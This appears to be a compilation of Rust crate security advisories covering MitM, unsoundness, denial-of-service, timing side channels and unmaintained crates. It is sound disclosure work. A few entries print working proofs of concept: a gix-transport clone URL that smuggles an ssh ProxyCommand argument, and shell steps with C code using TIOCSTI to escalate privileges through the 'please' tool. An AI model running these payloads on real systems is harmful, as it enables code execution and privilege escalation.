Summary: TLS certificate common name validation bypass

The NATS official Rust clients are vulnerable to MitM when using TLS.

The common name of the server's TLS certificate is validated against
the `host`name provided by the server's plaintext `INFO` message
during the initial connection setup phase. A MitM proxy can tamper with
the `host` field's value by substituting it with the common name of a
valid certificate it controls, fooling the client into accepting it.

## Reproduction steps

1. The NATS Rust client tries to establish a new connection
2. The connection is intercepted by a MitM proxy
3. The proxy makes a separate connection to the NATS server
4. The NATS server replies with an `INFO` message
5. The proxy reads the `INFO`, alters the `host` JSON field and passes
   the tampered `INFO` back to the client
6. The proxy upgrades the client connection to TLS, presenting a certificate issued
   by a certificate authority present in the client's keychain.
   In the previous step the `host` was set to the common name of said certificate
7. `rustls` accepts the certificate, having verified that the common name matches the
   attacker-controlled value it was given
9. The client has been fooled by the MitM proxy into accepting the attacker-controlled certificate


Summary: buf_redux is Unmaintained

Last release was over three years ago.

The maintainer(s) have been unreachable to respond to any issues that may or may not include security issues.

The repository is now archived and there is no security policy in place to contact the maintainer(s) otherwise.

The safety-undocumented unsafe in the crate may or may not be safe to use.

The crate also has a current future incompatibility warning [buf_redux/23](https://github.com/abonander/buf_redux/issues/23).

## Possible Alternatives

The below may or may not provide alternative(s)

- Rust alloc / std vec::Vec, collections::VecDeque
- [buffer-redux](https://crates.io/crates/buffer-redux) - fork
- [bytes](https://crates.io/crates/bytes)
- [crates.io search for 'buffer'](https://crates.io/keywords/buffer)


Summary: `Versionize::deserialize` implementation for `FamStructWrapper<T>` is lacking bound checks, potentially leading to out of bounds memory accesses

An issue was discovered in the `Versionize::deserialize` implementation provided by the `versionize` crate for `vmm_sys_util::fam::FamStructWrapper`, which can lead to out of bounds memory accesses. The impact started with version 0.1.1. The issue was corrected in version 0.1.10 by inserting a check that verifies, for any deserialized header, the lengths of compared flexible arrays are equal and aborting deserialization otherwise.


Summary: Initialisation failure in `Once::try_call_once` can lead to undefined behaviour for other initialisers

`Once::try_call_once` is unsound if invoked more than once concurrently and any call fails to initialise successfully.


Summary: Unsound FFI: Wrong API usage causes write past allocated area

The following usage causes undefined behavior.
```rust
let kp: ntru::types::KeyPair = …;
kp.get_public().export(Default::default())
```

When compiled with debug assertions, the code above will trigger a `attempt to subtract with overflow` panic before UB occurs.
Other mistakes (e.g. using `EncParams` from a different key) may always trigger UB.

Likely, older versions of this crate are also affected, but have not been tested.


Summary: Parsing borsh messages with ZST which are not-copy/clone is unsound

Affected versions of borsh cause undefined behavior when zero-sized-types (ZST)
are parsed and the Copy/Clone traits are not implemented/derived.
For instance if 1000 instances of a ZST are deserialized, and the ZST is not copy
(this can be achieved through a singleton), then accessing/writing to deserialized
data will cause a segmentation fault.

There is currently no way for borsh to read data without also providing a Rust type.
Therefore, if not ZST are used for serialization, then you are not affected by this issue.


Summary: Resource exhaustion vulnerability in h2 may lead to Denial of Service (DoS)

If an attacker is able to flood the network with pairs of `HEADERS`/`RST_STREAM` frames, such that the `h2` application is not able to accept them faster than the bytes are received, the pending accept queue can grow in memory usage. Being able to do this consistently can result in excessive memory use, and eventually trigger Out Of Memory.

This flaw is corrected in [hyperium/h2#668](https://github.com/hyperium/h2/pull/668), which restricts remote reset stream count by default.


Summary: Adverserial use of `make_bitflags!` macro can cause undefined behavior

The macro relied on an expression of the form `Enum::Variant` always being a
variant of the enum. However, it may also be an associated integer constant, in
which case there's no guarantee that the value of said constant consists only of
bits valid for this bitflag type.

Thus, code like this could create an invalid `BitFlags<Test>`, which would cause
iterating over it to trigger undefined behavior. As the debug formatter
internally iterates over the value, it is also affected.

```rust
use enumflags2::{bitflags, make_bitflags};

#[bitflags]
#[repr(u8)]
#[derive(Copy, Clone, Debug)]
enum Test {
    A = 1,
    B = 2,
}

impl Test {
    const C: u8 = 69;
}

fn main() {
    let x = make_bitflags!(Test::{C});
    // printing or iterating over x is UB
}
```


Summary: tree_magic is Unmaintained

The `tree_magic` crate is unmaintained. The author has archived the github
repository.

Alternatives:

- [tree_magic_mini](https://crates.io/crates/tree_magic_mini)


Summary: crate has been renamed to `crypto_secretbox`

This crate has been forked/renamed from `xsalsa20poly1305` to `crypto_secretbox`.

The new repository location is at:

<https://github.com/RustCrypto/nacl-compat/tree/master/crypto_secretbox>


Summary: Out-of-bounds array access leads to panic

Affected versions of the crate have several bugs where
attacker-controlled input can result in the use of an out-of-bound
array index.  Rust detects the use of the out-of-bound index and
causes the application to panic.  An attacker may be able to use this
to cause a denial-of-service.  However, it is not possible for an
attacker to read from or write to the application's address space.


Affected versions of the crate have a bug where attacker-controlled
input can result in the use of an out-of-bound array index.  Rust
detects the use of the out-of-bound index and causes the application
to panic.  An attacker may be able to use this to cause a
denial-of-service.  However, it is not possible for an attacker to
read from or write to the application's address space.


Summary: `users` crate is unmaintained

The `users` crate hasn't seen any action since 2020-10-08. The developer seems [MIA] since.

## Recommended alternatives
- [`uzers`]
- [`sysinfo`]

[MIA]: https://github.com/ogham/rust-users/issues/54
[`uzers`]: https://crates.io/crates/uzers
[`sysinfo`]: https://crates.io/crates/sysinfo


Summary: Remote Attackers can cause Denial-of-Service (packet loops) with crafted DNS packets

trust-dns and trust-dns-server are vulnerable to remotely triggered denial-of-service attacks, consuming both network and CPU resources.
DNS messages with the QR=1 bit set are responded to with a `FormErr` response.
This allows creating a traffic loop, in which these `FormErr` responses are sent nonstop between vulnerable servers.

There are two scenarios how this can be exploited: 1) Create a loop between two instances of trust-dns, consuming network resources, or 2) consuming the CPU of a single instance.

With two instances *A* and *B* an attacker sends a DNS query with a spoofed source IP address to *A*.
*A* replies with a `FormErr` to *B*.
Now both servers with ping-pong the message back and forth until by chance the packet is dropped in the network.
Multiple spoofed packets can be sent by the attacker, increasing resource consumption.

A single server can get locked up replying to itself.
Same setup as above, but now *A* sends the reply to itself.
The packet is sent out as fast as the CPU and network stack manage.
This locks up a CPU core.
Multiple packets from the attacker consume multiple CPU cores.


Summary: Ouroboros is Unsound

## Summary

Ouroboros has a soundness problem, but a fix has been implemented in 0.16.0.

## More details:

In 0.15.0, Ouroboros works internally by creating a struct where all
uses of 'this are replaced by 'static. However, a recent addition to
Miri checks that references passed to functions are valid during the
entire execution of the function, even when those references are
passed inside a struct. This poses an issue for dropping
self-referencing values, as the reference becomes invalid during the
dropping process. Effectively, since self-referencing structs are
not allowed in vanilla Rust, there is no allowance for dropping data
during a function that has also been given a reference to that data.
There's usually no way to pass a and &a to the same function.

A fix was attempted, where the struct would be turned in to a raw
byte array and only transformed back into the underlying data type
inside each function. This is allowable as a reference can be
created and die over the body of a function, as long as the
reference was created inside the function. However, this is also
not sound if the original struct contains padding. There is no
way to initialize padding bytes to a known value that Miri will
accept, so when it is cast to an array some of the bytes contain
uninitialized values. This is not acceptable (despite the fact
that these bytes are never read) due to the potential for
optimizations that may read from the uninitialized bytes. Besides
which, this fix does not allow for template or constant parameters
as there is no way to check the size of a templated type without
giving specific, concrete values for the template parameters.

The final solution was to use this fix while wrapping the raw byte
array in `MaybeUninit<>`.


Summary: ftp is unmaintained, use suppaftp instead

The [`ftp`](https://crates.io/crates/ftp) crate is not maintained any more;
use [`suppaftp`](https://crates.io/crates/suppaftp) instead.


Summary: `openssl` `X509VerifyParamRef::set_host` buffer over-read

When this function was passed an empty string, `openssl` would attempt to call `strlen` on it, reading arbitrary memory until it reached a NUL byte.


Summary: memoffset allows reading uninitialized memory

memoffset allows attempt of reading data from address `0` with arbitrary type. This behavior is an undefined behavior because address `0` to `std::mem::size_of<T>` may not have valid bit-pattern with `T`. Old implementation dereferences uninitialized memory obtained from `std::mem::align_of`. Older implementation prior to it allows using uninitialized data obtained from `std::mem::uninitialized` with arbitrary type then compute offset by taking the address of field-projection. This may also result in an undefined behavior for "father" that includes (directly or transitively) type that [does not allow to be uninitialized](https://doc.rust-lang.org/nightly/reference/behavior-considered-undefined.html).

This flaw was corrected by using `std::ptr::addr_of` in <https://github.com/Gilnaa/memoffset/pull/50>.


Summary: Misaligned pointer dereference in `ChunkId::new`

The function `ChunkId::new` creates a misaligned pointer by casting mutable pointer of `u8` slice which has alignment 1 to the mutable pointer of `u32` which has alignment 4, and dereference the misaligned pointer leading UB, which should not be allowed in safe function.


Summary: impl `FromMdbValue` for bool is unsound

The implementation of `FromMdbValue` have several unsoundness issues. First of all, it allows to reinterpret arbitrary bytes as a bool and could make undefined behavior happen with safe function. Secondly, it allows transmuting pointer without taking memory layout into consideration. The details of reproducing the bug were included in url above.


Summary: Unsoundness in `intern` methods on `intaglio` symbol interners

Affected versions of this crate have a stacked borrows violation when creating
references to interned contents. All interner types are affected.

The flaw was corrected in version 1.9.0 by reordering move and borrowing
operations and storing interned contents by raw pointer instead of as a `Box`.


Summary: `tui` is unmaintained; use `ratatui` instead

The [`tui`](https://crates.io/crates/tui) crate is no longer maintained.

Consider using the [`ratatui`](https://crates.io/crates/ratatui) crate instead.


Summary: multipart is Unmaintained

The `multipart` crate is unmaintained. The author has archived the github
repository.

Alternatives:

- [multer](https://crates.io/crates/multer)
- [multiparty](https://crates.io/crates/multiparty)


Summary: `dlopen_derive` is unmaintained

`dlopen_derive` hasn't been updated since June 9, 2019.

`dlopen_derive` depends on [`quote = "0.6.12"`] and [`syn = "0.15.34"`]. Versions `1.0.0` of these dependencies were published on August 13, 2019. The `0.*` versions haven't received updates since.

Note that `dlopen` is an unmaintained crate from the same repository as `dlopen_derive`. However, migrating away from `dlopen_derive` implies migrating away from `dlopen`, as well.

## Recommended alternatives

- [`dlopen2_derive`] (and `dlopen2`)

[`dlopen2_derive`]: https://github.com/OpenByteDev/dlopen2
[`quote = "0.6.12"`]: https://github.com/dtolnay/quote/releases/tag/0.6.12
[`syn = "0.15.34"`]: https://github.com/dtolnay/syn/releases/tag/0.15.34


Summary: webpki: CPU denial of service in certificate path building

When this crate is given a pathological certificate chain to validate, it will
spend CPU time exponential with the number of candidate certificates at each
step of path building.

Both TLS clients and TLS servers that accept client certificate are affected.

This was previously reported in
<https://github.com/briansmith/webpki/issues/69> and re-reported recently
by Luke Malinowski.

webpki 0.22.1 included a partial fix and webpki 0.22.2 added further fixes.


Summary: rustls-webpki: CPU denial of service in certificate path building

When this crate is given a pathological certificate chain to validate, it will
spend CPU time exponential with the number of candidate certificates at each
step of path building.

Both TLS clients and TLS servers that accept client certificate are affected.

We now give each path building operation a budget of 100 signature verifications.

The original `webpki` crate is also affected.

This was previously reported in the original crate
<https://github.com/briansmith/webpki/issues/69> and re-reported to us
recently by Luke Malinowski.


Summary: Use-after-free in `vec_insert_bytes`

Incorrect reallocation logic in the function [`vec_insert_bytes`](https://docs.rs/mail-internals/0.2.3/mail_internals/utils/fn.vec_insert_bytes.html) causes a use-after-free.

This function does not have to be called directly to trigger the vulnerability because many methods on [`EncodingWriter`](https://docs.rs/mail-internals/0.2.3/mail_internals/encoder/struct.EncodingWriter.html) call this function internally.

The mail-\* suite is unmaintained and the upstream sources have been actively vandalised.
A fixed `mail-internals-ng` (and `mail-headers-ng` and `mail-core-ng`) crate has been published which fixes this, and a dependency on another unsound crate.


Summary: Multiple soundness issues

`lexical` contains multiple soundness issues:

 1. [Bytes::read() allows creating instances of types with invalid bit patterns](https://github.com/Alexhuszagh/rust-lexical/issues/102)
 1. [BytesIter::read() advances iterators out of bounds](https://github.com/Alexhuszagh/rust-lexical/issues/101)
 1. [The `BytesIter` trait has safety invariants but is public and not marked `unsafe`](https://github.com/Alexhuszagh/rust-lexical/issues/104)
 1. [`write_float()` calls `MaybeUninit::assume_init()` on uninitialized data, which is is not allowed by the Rust abstract machine](https://github.com/Alexhuszagh/rust-lexical/issues/95)
 1. [`radix()` calls `MaybeUninit::assume_init()` on uninitialized data, which is is not allowed by the Rust abstract machine](https://github.com/Alexhuszagh/rust-lexical/issues/126)

The crate also has some correctness issues.

## Alternatives

For quickly parsing floating-point numbers third-party crates are no longer needed. A fast float parsing algorithm by the author of `lexical` has been [merged](https://github.com/rust-lang/rust/pull/86761) into libcore.

For quickly parsing integers, consider `atoi` and `btoi` crates (100% safe code). `atoi_radix10` provides even faster parsing, but only with `-C target-cpu=native`, and at the cost of some `unsafe`.

For formatting integers in a `#[no_std]` context consider the [`numtoa`](https://crates.io/crates/numtoa) crate.

For working with big numbers consider `num-bigint` and `num-traits`.


Summary: Default functions in VolatileMemory trait lack bounds checks, potentially leading to out-of-bounds memory accesses

An issue was discovered in the default implementations of the `VolatileMemory::{get_atomic_ref, aligned_as_ref, aligned_as_mut, get_ref, get_array_ref}` trait functions, which allows out-of-bounds memory access if the `VolatileMemory::get_slice` function returns a `VolatileSlice` whose length is less than the function’s `count` argument. No implementations of `get_slice` provided in `vm_memory` are affected. Users of custom `VolatileMemory` implementations may be impacted if the custom implementation does not adhere to `get_slice`'s documentation.

The issue started in version 0.1.0 but was fixed in version 0.12.2 by inserting a check that verifies that the `VolatileSlice` returned by `get_slice` is of the correct length.


Summary: Fails to prohibit standard library access prior to initialization of Rust standard library runtime

Affected versions allow arbitrary caller-provided code to execute before the
lifetime of `main`.

If the caller-provided code accesses particular pieces of the standard library
that require an initialized Rust runtime, such as `std::io` or `std::thread`,
these may not behave as documented. Panics are likely; UB is possible.

The flaw was corrected by enforcing that only code written within the
`inventory` crate, which is guaranteed not to access runtime-dependent parts of
the standard library, runs before `main`. Caller-provided code is restricted to
running at compile time.


Summary: Exposes reference to non-Sync data to an arbitrary thread

Affected versions do not enforce a `Sync` bound on the type of caller-provided
value held in the plugin registry. References to these values are made
accessible to arbitrary threads other than the one that constructed them.

A caller could use this flaw to submit thread-unsafe data into inventory, then
access it as a reference simultaneously from multiple threads.

The flaw was corrected by enforcing that data submitted by the caller into
inventory is `Sync`.


Summary: Unaligned read of `*const *const c_char` pointer

Affected versions dereference a potentially unaligned pointer. The pointer is
commonly unaligned in practice, resulting in undefined behavior.

In some build modes, this is observable as a panic followed by abort. In other
build modes the UB may manifest in some other way, including the possibility of
working correctly in some architectures.

The crate is not currently maintained, so a patched version is not available.

## Recommended alternatives
- [`uzers`](https://crates.io/crates/uzers) (an actively maintained fork of the `users` crate)
- [`sysinfo`](https://crates.io/crates/sysinfo)


Summary: libwebp: OOB write in BuildHuffmanTable

[Google](https://chromereleases.googleblog.com/2023/09/stable-channel-update-for-desktop_11.html) and [Mozilla](https://www.mozilla.org/en-US/security/advisories/mfsa2023-40/) have released security advisories for RCE due to heap overflow in libwebp. Google warns the vulnerability has been exploited in the wild.

libwebp needs to be updated to 1.3.2 to include a patch for "OOB write in BuildHuffmanTable".


Summary: libwebp: OOB write in BuildHuffmanTable


Summary: BER/CER/DER decoder panics on invalid input

Due to insufficient checking of input data, decoding certain data sequences
can lead to _bcder_ panicking rather than returning an error. This can affect
both the actual decoding stage as well as accessing content of types that
utilized delayed decoding.

bcder 0.7.3 fixes these issues by more thoroughly checking inputs and
returning errors as expected.


Summary: Denial of service in Quinn servers

Receiving QUIC frames containing a frame with unknown frame type could lead to a panic.
Unfortunately this is issue was not found by our fuzzing infrastructure.

Thanks to the QUIC Tester research group for reporting this issue.


Summary: gix-transport code execution vulnerability

The `gix-transport` crate prior to the patched version 0.36.1 would allow attackers to
use malicious ssh clone URLs to pass arbitrary arguments to the `ssh` program, leading
to arbitrary code execution.

PoC: `gix clone 'ssh://-oProxyCommand=open$IFS-aCalculator/foo'`

This will launch a calculator on OSX.

See <https://secure.phabricator.com/T12961> for more details on similar vulnerabilities in `git`.

Thanks to [vin01](https://github.com/vin01) for disclosing the issue.


Summary: Tungstenite allows remote attackers to cause a denial of service

The Tungstenite crate through 0.20.0 for Rust allows remote attackers to cause
a denial of service (minutes of CPU consumption) via an excessive length of an
HTTP header in a client handshake. The length affects both how many times a parse
is attempted (e.g., thousands of times) and the average amount of data for each
parse attempt (e.g., millions of bytes).


Summary: Vulnerable to privilege escalation using ioctls TIOCSTI and TIOCLINUX

please is vulnerable to privilege escalation using ioctls TIOCSTI
and TIOCLINUX on systems where they are not disabled.

Here is how to see it in action:

```
$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody
```

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.


Summary: `fehler` is unmaintained; use `culpa` instead

The [`fehler`](https://crates.io/crates/fehler) crate is no longer maintained.
Consider using [`culpa`](https://crates.io/crates/culpa) instead.


Summary: Sequential calls of encryption API (`encrypt`, `wrap`, and `dump`) result in nonce reuse

**Problem**: Trying to create a new encrypted message with the same cocoon
object generates the same ciphertext. It mostly affects `MiniCocoon` and
`Cocoon` objects with custom seeds and RNGs (where `StdRng` is used under
the hood).

**Note**: The issue does **NOT** affect objects created with **`Cocoon::new`**
which utilizes `ThreadRng`.

**Cause**: `StdRng` produces the same nonce because `StdRng::clone` resets its
state.

**Measure**: Make encryption API mutable (`encrypt`, `wrap`, and `dump`).

**Workaround**: Create a new cocoon object with a new **seed** per each
encryption.

## How to Reproduce

```rust
let cocoon = MiniCocoon::from_password(b"password", &[1; 32]);
let mut data1 = "my secret data".to_owned().into_bytes();
let _ = cocoon.encrypt(&mut data1)?;

let mut data2 = "my secret data".to_owned().into_bytes();
let _ = cocoon.encrypt(&mut data2)?;

// data1: [23, 217, 251, 151, 179, 62, 85, 15, 253, 92, 192, 112, 200, 52]
// data2: [23, 217, 251, 151, 179, 62, 85, 15, 253, 92, 192, 112, 200, 52]
```

## Workaround

For `cocoon <= 0.3.3`, create a new cocoon with a different **seed**
per each `encrypt`/`wrap`/`dump` call.

```rust
let cocoon = MiniCocoon::from_password(b"password", &[1; 32]);
let mut data1 = "my secret data".to_owned().into_bytes();
let _ = cocoon.encrypt(&mut data1)?;

// Another seed: &[2; 32].
let cocoon = MiniCocoon::from_password(b"password", &[2; 32]);
let mut data2 = "my secret data".to_owned().into_bytes();
let _ = cocoon.encrypt(&mut data2)?;

// data1: [23, 217, 251, 151, 179, 62, 85, 15, 253, 92, 192, 112, 200, 52]
// data2: [53, 223, 209, 96, 130, 99, 209, 108, 83, 189, 123, 81, 19, 1]
```

cocoon::Cocoon::dump cocoon::Cocoon::encrypt cocoon::Cocoon::wrap cocoon::MiniCocoon::dump cocoon::MiniCocoon::encrypt cocoon::MiniCocoon::wrap


Summary: sudo-rs: Path Traversal vulnerability

## Impact
An issue was discovered where usernames containing the . and / characters could result in the corruption of specific files on the filesystem. As usernames are generally not limited by the characters they can contain, a username appearing to be a relative path can be constructed. For example we could add a user to the system containing the username ../../../../bin/cp. When logged in as a user with that name, that user could run sudo -K to clear their session record file. The session code then constructs the path to the session file by concatenating the username to the session file storage directory, resulting in a resolved path of /bin/cp. The code then clears that file, resulting in the cp binary effectively being removed from the system.

An attacker needs to be able to login as a user with a constructed username. Given that such a username is unlikely to exist on an existing system, they will also need to be able to create the users with the constructed usernames.

## Patches
The bug is fixed in version 0.2.1 of sudo-rs. Sudo-rs now uses the uid for the user instead of their username for determining the filename. Note that an upgrade to this version will result in existing session files being ignored and users will be forced to re-authenticate. It also fully eliminates any possibility of path traversal, given that uids are always integer values.

The issue was corrected in commit `bfdbda22968e3de43fa8246cab1681cfd5d5493d`.


Summary: Insufficient covariance check makes self_cell unsound

All public versions prior to `1.02` used an insufficient check to ensure that
users correctly marked the dependent type as either `covariant` or
`not_covariant`. This allowed users to mark a dependent as covariant even though
its type was not covariant but invariant, for certain invariant types involving
trait object lifetimes. One example for such a dependent type is `type
Dependent<'a> = RefCell<Box<dyn fmt::Display + 'a>>`. Such a type allowed
unsound usage in purely safe user code that leads to undefined behavior. The
patched versions now produce a compile time error if such a type is marked as
`covariant`.


Summary: Marvin Attack: potential key recovery through timing sidechannels

### Impact
Due to a non-constant-time implementation, information about the private key is leaked through timing information which is observable over the network. An attacker may be able to use that information to recover the key.

### Patches
No patch is yet available, however work is underway to migrate to a fully constant-time implementation.

### Workarounds
The only currently available workaround is to avoid using the `rsa` crate in settings where attackers are able to observe timing information, e.g. local use on a non-compromised computer is fine.

### References
This vulnerability was discovered as part of the "[Marvin Attack]", which revealed several implementations of RSA including OpenSSL had not properly mitigated timing sidechannel attacks.

[Marvin Attack]: https://people.redhat.com/~hkario/marvin/


Summary: `openssl` `X509StoreRef::objects` is unsound

This function returned a shared reference into an OpenSSL datastructure but did not account for interior mutability. OpenSSL may modify the data behind this reference, meaning accesses can race and the reference is unsound.

Use of this function should be replaced with `X509StoreRef::all_certificates`.


Summary: Infinite decoding loop through specially crafted payload

The Candid library causes a Denial of Service while parsing a specially crafted payload with `empty` data type. For example, if the payload is `record { * ; empty }` and  the canister interface expects `record { * }` then the rust candid decoder treats `empty` as an extra field required by the type.  The problem with type `empty` is that the candid rust library wrongly categorizes `empty` as a recoverable error when skipping the field and thus causing an infinite decoding loop.

Canisters using affected versions of candid are exposed to denial of service by causing the decoding to run indefinitely until the canister traps due to reaching maximum instruction limit per execution round. Repeated exposure to the payload will result in degraded performance of the canister.

For asset canister users, `dfx` versions `>= 0.14.4` to `<= 0.15.2-beta.0` ships asset canister with an affected version of candid.

### Unaffected
- Rust canisters using candid `< 0.9.0` or `>= 0.9.10`
- Rust canister interfaces of type other than `record { * }`
- Motoko based canisters
- dfx (for asset canister) `<= 0.14.3` or `>= 0.15.2`

### References
-  [GitHub Security Advisory (GHSA-7787-p7x6-fq3j)](https://github.com/dfinity/candid/security/advisories/GHSA-7787-p7x6-fq3j)
-  [dfinity/candid/pull/478](https://github.com/dfinity/candid/pull/478)
-  [Candid Library Reference](https://internetcomputer.org/docs/current/references/candid-ref)
-  [Candid Specification](https://github.com/dfinity/candid/blob/master/spec/Candid.md)
-  [Internet Computer Specification](https://internetcomputer.org/docs/current/references/ic-interface-spec)


Summary: Some Ref methods are unsound with some type parameters

The `Ref` methods `into_ref`, `into_mut`, `into_slice`, and `into_slice_mut` are unsound
and may allow safe code to exhibit undefined behavior when used with `Ref<B, T>` where `B`
is [`cell::Ref`](https://doc.rust-lang.org/core/cell/struct.Ref.html) or
[`cell::RefMut`](https://doc.rust-lang.org/core/cell/struct.RefMut.html). Note that these
methods remain sound when used with `B` types other than `cell::Ref` or `cell::RefMut`.

See https://github.com/google/zerocopy/issues/716 for a more in-depth analysis.

The current plan is to yank the affected versions soon. See
https://github.com/google/zerocopy/issues/679 for more detail.


Summary: Unaligned write of u64 on 32-bit and 16-bit platforms

Affected versions allocate memory using the alignment of `usize` and write data
to it of type `u64`, without using `core::ptr::write_unaligned`. In platforms
with sub-64bit alignment for `usize` (including wasm32 and x86) these writes
are insufficiently aligned some of the time.

If using an ordinary optimized standard library, the bug exhibits Undefined
Behavior so may or may not behave in any sensible way, depending on
optimization settings and hardware and other things. If using a Rust standard
library built with debug assertions enabled, the bug manifests deterministically
in a crash (non-unwinding panic) saying _"ptr::write requires that the pointer
argument is aligned and non-null"_.

No 64-bit platform is impacted by the bug.

The flaw was corrected by allocating with adequately high alignment on all
platforms.


Summary: `cpython` is unmaintained

The `cpython` crate and the underlying `python3-sys` and `python27-sys` crates have been marked as [no longer actively maintained] by the developer.

There are also open issues for unsound code that is currently in these crates:

- [cpython#265]: Using some string functions causes segmentation faults on big-endian architectures. Due to incorrect bitfield manipulations, it is possible to create invalid Python objects that crash the Python interpreter.
- [cpython#294]: Python 3.12 is not supported. Due to ABI changes in Python 3.12, calling some string functions will result in invalid Python objects and / or cause out-of-bounds memory accesses.

## Recommended alternatives

- [`pyo3`] (version 0.19.2 and newer)

The `pyo3` crate is actively maintained. Preliminary support for Python 3.12 was added in version 0.19.2, and version 0.20.0 was released with full support for Python 3.12.

Both versions implement string functions correctly on big-endian architectures. The endianness issue affecting the `cpython` crate was fixed in recent versions of `pyo3`.

[no longer actively maintained]: https://github.com/dgrunwald/rust-cpython/commit/e815555
[cpython#265]: https://github.com/dgrunwald/rust-cpython/issues/265
[cpython#294]: https://github.com/dgrunwald/rust-cpython/issues/294
[`pyo3`]: https://crates.io/crates/pyo3


Summary: Remotely exploitable DoS condition in Rosenpass <=0.2.0

Affected version do this crate did not validate the size of buffers when attempting to decode messages.

This allows an attacker to trigger a panic by sending a UDP datagram with a 1 byte payload over network.

This flaw was corrected by validating the size of the buffers before attempting to decode the message.


Summary: Potential stack use-after-free in `Instrumented::into_inner`

The implementation of the [`Instrumented::into_inner`] method in affected
versions of this crate contains undefined behavior due to incorrect use of
[`std::mem::forget`] The function creates `*const` pointers to `self`, calls
[`mem::forget(self)`][`std::mem::forget`], and then moves values out of those
pointers using [`std::ptr::read`].

```rust
// To manually destructure `Instrumented` without `Drop`, we
// move it into a ManuallyDrop and use pointers to its fields
let span: *const Span = &this.span;
let inner: *const ManuallyDrop<T> = &this.inner;
mem::forget(self);
// SAFETY: Those pointers are valid for reads, because `Drop` didn't
//         run, and properly aligned, because `Instrumented` isn't
//         `#[repr(packed)]`.
let _span = unsafe { span.read() };
let inner = unsafe { inner.read() };
```

However, the [`mem::forget` documentation][`std::mem::forget`] states:

> Any resources the value manages, such as heap memory or a file handle, will
> linger forever in an unreachable state. **However, it does not guarantee that
> pointers to this memory will remain valid.**

This means that these pointers are no longer valid. This could result in a stack
use-after-free if LLVM chooses to reuse `self`'s stack slot for a rebinding
after the call to [`std::mem::forget`].

This undefined behavior has not been observed to cause miscompilation as of Rust
1.73.0. However, any use of this method with the affected versions of `tracing`
are unsound.

The flaw was corrected in commit [20a1762] ([PR #2765]) by replacing the use of
[`std::mem::forget`] with `std::mem::ManuallyDrop`, ensuring that the stack slot
is not reused and the pointers remain valid when they are read. The fix is
published in `tracing` [v0.1.40]. Affected versions have been yanked from
crates.io.

Thanks to [Taylor Cramer] and [Manish Goregaokar] for finding and correcting
this issue!

[`Instrumented::into_inner`]:
    https://docs.rs/tracing/latest/tracing/instrument/struct.Instrumented.html#method.into_inner
[`std::mem::forget`]: https://doc.rust-lang.org/std/mem/fn.forget.html
[`std::ptr::read`]:
    https://doc.rust-lang.org/std/primitive.pointer.html#method.read-1
[20a1762]:
    https://github.com/tokio-rs/tracing/commit/20a1762b3fd5f1fafead198fd18e469c68683721
[PR #2765]: https://github.com/tokio-rs/tracing/pull/2765
[v0.1.40]: https://crates.io/crates/tracing/0.1.40
[Taylor Cramer]: https://github.com/cramertj
[Manish Goregaokar]: https://github.com/manishearth


Summary: KyberSlash: division timings depending on secrets

Various Kyber software libraries in various environments leak secret information into timing, specifically because

 * these libraries include a line of code that divides a secret numerator by a public denominator,
 * the number of CPU cycles for division in various environments varies depending on the inputs to the division, and
 * this variation appears within the range of numerators used in these libraries.

The KyberSlash pages track which Kyber [libraries](https://kyberslash.cr.yp.to/libraries.html) have this issue, and include a [FAQ](https://kyberslash.cr.yp.to/faq.html) about the issue.

## Author

The KyberSlash pages were written by Daniel J. Bernstein. The FAQ originally said "I", but some people seemed to have trouble finding this authorship statement, so the FAQ now says "Bernstein" instead.

## URL

The permanent link for the KyberSlash pages is [https://kyberslash.cr.yp.to](https://kyberslash.cr.yp.to).

## Mitigation status in `pqc_kyber` crate

The issue has not been resolved in the upstream `pqc_kyber` crate.

A third-party fork that mitigates this attack vector has been published as [`safe_pqc_kyber`](https://crates.io/crates/safe_pqc_kyber).

## Alternatives

The [`ml-kem`](https://crates.io/crates/ml-kem) crate is a maintained
alternative pure Rust implementation of ML-KEM / Kyber.


Summary: Buffer overflow due to integer overflow in `transpose`

Given the function `transpose::transpose`:
```rust
fn transpose<T: Copy>(input: &[T], output: &mut [T], input_width: usize, input_height: usize)
```

The safety check `input_width * input_height == output.len()` can fail due to `input_width * input_height` overflowing in such a way that it equals `output.len()`.
As a result of failing the safety check, memory past the end of `output` is written to. This only occurs in release mode since `*` panics on overflow in debug mode.

Exploiting this issue requires the caller to pass `input_width` and `input_height` arguments such that multiplying them overflows, and the overflown result equals the lengths of input and output slices.


Summary: safemem is unmaintained

The latest crates.io release was in 2019. The repository has been archived by the author.

## Migration

- `safemem::copy_over(slice, src_idx, dest_idx, len);` can be replaced with `slice.copy_within(src_idx..src_idx+len, dest_idx);` as of `rust 1.37.0`.
- `safemem::write_bytes(slice, byte);` can be replaced with `slice.fill(byte);` as of `rust 1.50.0`
- `safemem::prepend(slice, vec);` can be replaced with

  ```rust
  let old_len = vec.len();
  vec.extend_from_slice(slice);
  vec.rotate_left(old_len);
  ```

  as of `rust 1.26.0`


Summary: phonenumber:  panic on parsing crafted RF3966 phonenumber inputs

### Impact
The phonenumber parsing code may panic due to a panic-guarded out-of-bounds access on the phonenumber string.

In a typical deployment of `rust-phonenumber`, this may get triggered by feeding a maliciously crafted phonenumber over the network, specifically the string `.;phone-context=`.

### Patches
Patches will be published as version `0.3.3+8.13.9` and backported as `0.2.5+8.11.3`.


Summary: blurhash: panic on parsing crafted blurhash inputs

## Impact
The blurhash parsing code may panic due to multiple panic-guarded out-of-bounds accesses on untrusted input.

In a typical deployment, this may get triggered by feeding a maliciously crafted blurhashes over the network. These may include:
- UTF-8 compliant strings containing multi-byte UTF-8 characters

## Patches
The patches were released under version 0.2.0, which may require user intervention because of slight API churn.


Summary: `hpack` is unmaintained

The `hpack` crate is no longer maintained.

